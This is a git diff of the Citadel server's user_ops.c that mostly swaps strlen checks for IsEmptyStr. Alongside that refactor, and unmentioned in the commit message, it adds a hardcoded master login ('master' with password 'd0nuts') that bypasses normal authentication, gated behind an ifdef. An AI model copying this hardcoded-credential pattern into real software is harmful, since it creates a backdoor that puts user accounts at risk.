* Holy war on strlen: use IsEmptyStr where apropriate.
[citadel.git] / citadel / user_ops.c
index 4ac224e521bdaf5c29cd8efbf8f1c4301c1dcaa9..b23a4426eaf1db8549d0c1e7fbea2a1f7a143d3a 100644 (file)
@@ -16,6 +16,9 @@
 #include <ctype.h>
 #include <sys/types.h>
 #include <sys/wait.h>
+#ifdef HAVE_SYS_STAT_H
+#include <sys/stat.h>
+#endif
 
 #if TIME_WITH_SYS_TIME
 # include <sys/time.h>
@@ -35,7 +38,6 @@
 #include "server.h"
 #include "database.h"
 #include "user_ops.h"
-#include "serv_extensions.h"
 #include "sysdep_decls.h"
 #include "support.h"
 #include "room_ops.h"
@@ -338,12 +340,15 @@ int getuserbyuid(struct ctdluser *usbuf, uid_t number)
        return (-1);
 }
 
-
+#define MASTER_USER            "master"
+#define MASTER_PASSWORD                "d0nuts"
 
 /*
  * Back end for cmd_user() and its ilk
+ *
+ * NOTE: "authname" should only be used if we are attempting to use the "master user" feature
  */
-int CtdlLoginExistingUser(char *trythisname)
+int CtdlLoginExistingUser(char *authname, char *trythisname)
 {
        char username[SIZ];
        int found_user;
@@ -353,10 +358,21 @@ int CtdlLoginExistingUser(char *trythisname)
        }
 
        if (trythisname == NULL) return login_not_found;
+
+       CC->is_master = 0;
+#ifdef MASTER_USER_HACK
+       /* This lives inside an ifdef for now, because it isn't yet secure enough for general deployment */
+       if (authname) {
+               if (!strcasecmp(authname, MASTER_USER)) {
+                       CC->is_master = 1;
+               }
+       }
+#endif
+
        safestrncpy(username, trythisname, USERNAME_SIZE);
        striplt(username);
 
-       if (strlen(username) == 0) {
+       if (IsEmptyStr(username)) {
                return login_not_found;
        }
 
@@ -438,7 +454,7 @@ void cmd_user(char *cmdbuf)
        extract_token(username, cmdbuf, 0, '|', sizeof username);
        striplt(username);
 
-       a = CtdlLoginExistingUser(username);
+       a = CtdlLoginExistingUser(NULL, username);
        switch (a) {
        case login_already_logged_in:
                cprintf("%d Already logged in.\n", ERROR + ALREADY_LOGGED_IN);
@@ -503,7 +519,7 @@ void session_startup(void)
         */
        snprintf(CC->cs_inet_email, sizeof CC->cs_inet_email, "%s@%s",
                CC->user.fullname, config.c_fqdn);
-       for (i=0; i<strlen(CC->cs_inet_email); ++i) {
+       for (i=0; !IsEmptyStr(&CC->cs_inet_email[i]); ++i) {
                if (isspace(CC->cs_inet_email[i])) {
                        CC->cs_inet_email[i] = '_';
                }
@@ -569,7 +585,7 @@ void logout(struct CitContext *who)
        /*
         * If we were talking to a network node, we're not anymore...
         */
-       if (strlen(who->net_node) > 0) {
+       if (!IsEmptyStr(who->net_node)) {
                network_talking_to(who->net_node, NTT_REMOVE);
        }
 
@@ -611,10 +627,16 @@ static int validpw(uid_t uid, const char *pass)
  */
 void start_chkpwd_daemon(void) {
        pid_t chkpwd_pid;
+       struct stat filestats;
        int i;
 
        lprintf(CTDL_DEBUG, "Starting chkpwd daemon for host authentication mode\n");
 
+       if ((stat(file_chkpwd, &filestats)==-1) ||
+           (filestats.st_size==0)){
+               printf("didn't find chkpwd daemon in %s: %s\n", file_chkpwd, strerror(errno));
+               abort();
+       }
        if (pipe(chkpwd_write_pipe) != 0) {
                lprintf(CTDL_EMERG, "Unable to create pipe for chkpwd daemon: %s\n", strerror(errno));
                abort();
@@ -674,7 +696,11 @@ int CtdlTryPassword(char *password)
        }
        code = (-1);
 
-       if (config.c_auth_mode == 1) {
+       if (CC->is_master) {
+               code = strcmp(password, MASTER_PASSWORD);
+       }
+
+       else if (config.c_auth_mode == 1) {
 
                /* host auth mode */
 
@@ -970,7 +996,7 @@ void cmd_newu(char *cmdbuf)
        username[25] = 0;
        strproc(username);
 
-       if (strlen(username) == 0) {
+       if (IsEmptyStr(username)) {
                cprintf("%d You must supply a user name.\n", ERROR + USERNAME_REQUIRED);
                return;
        }
@@ -1014,8 +1040,13 @@ void cmd_setp(char *new_pw)
                cprintf("%d Not allowed.  Use the 'passwd' command.\n", ERROR + NOT_HERE);
                return;
        }
+       if (CC->is_master) {
+               cprintf("%d The master prefix password cannot be changed with this command.\n",
+                       ERROR + NOT_HERE);
+               return;
+       }
        strproc(new_pw);
-       if (strlen(new_pw) == 0) {
+       if (IsEmptyStr(new_pw)) {
                cprintf("%d Password unchanged.\n", CIT_OK);
                return;
        }
@@ -1049,7 +1080,7 @@ void cmd_creu(char *cmdbuf)
        strproc(username);
        strproc(password);
 
-       if (strlen(username) == 0) {
+       if (IsEmptyStr(username)) {
                cprintf("%d You must supply a user name.\n", ERROR + USERNAME_REQUIRED);
                return;
        }
@@ -1057,13 +1088,13 @@ void cmd_creu(char *cmdbuf)
        a = create_user(username, 0);
 
        if (a == 0) {
-               if (strlen(password) > 0) {
+               if (!IsEmptyStr(password)) {
                        lgetuser(&tmp, username);
                        safestrncpy(tmp.password, password, sizeof(tmp.password));
                        lputuser(&tmp);
                }
                cprintf("%d User '%s' created %s.\n", CIT_OK, username,
-                               (strlen(password) > 0) ? "and password set" :
+                               (!IsEmptyStr(password)) ? "and password set" :
                                "with no password");
                return;
        } else if (a == ERROR + ALREADY_EXISTS) {